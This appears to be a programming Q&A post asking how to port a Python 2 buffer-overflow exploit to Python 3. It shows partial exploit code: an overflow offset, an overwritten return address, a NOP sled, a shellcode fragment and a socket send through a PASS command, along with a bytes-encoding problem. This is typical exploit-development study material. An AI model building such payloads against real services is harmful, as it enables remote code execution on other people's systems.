title: Exploit development in Python 3
body: <p>I realised that exploit development with python 3 is not as straight forward as it is using python 2. </p>
  
  <p>As I understand, this is mainly due to the socket library and the added <code>byte</code> datatype.</p>
  
  <p>For example, I could not figure out how to translate the following code into Python 3 code:</p>
  
  <pre><code>--- SNIP ---
  shellcode =  ""
  shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
  --- SNIP ---
  offset = "A" * 2606
  eip = "\x43\x62\x4b\x5f"
  nop = "\x90" * 16 
  padding = "C"
  buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
  --- SNIP ---
  bytes_sent = sock.send("PASS {}\r\n".format(buff))
  --- SNIP ---
  </code></pre>
  
  <p>I tried the following:</p>
  
  <pre><code>--- SNIP ---
  shellcode =  ""
  shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
  --- SNIP ---
  offset = "A" * 2606
  eip = "\x43\x62\x4b\x5f"
  nop = "\x90" * 16 
  padding = "C"
  buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
  --- SNIP ---
  bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
  --- SNIP ---
  </code></pre>
  
  <p>The problem is that <code>\x90</code> becomes <code>C2 90</code> in memory, it tooks me hours to figure out that the issue came from my code. I also suspect that this could alter the shellcode as well.</p>
  
  <p>I would like to learn the proper way of doing this in Python </p>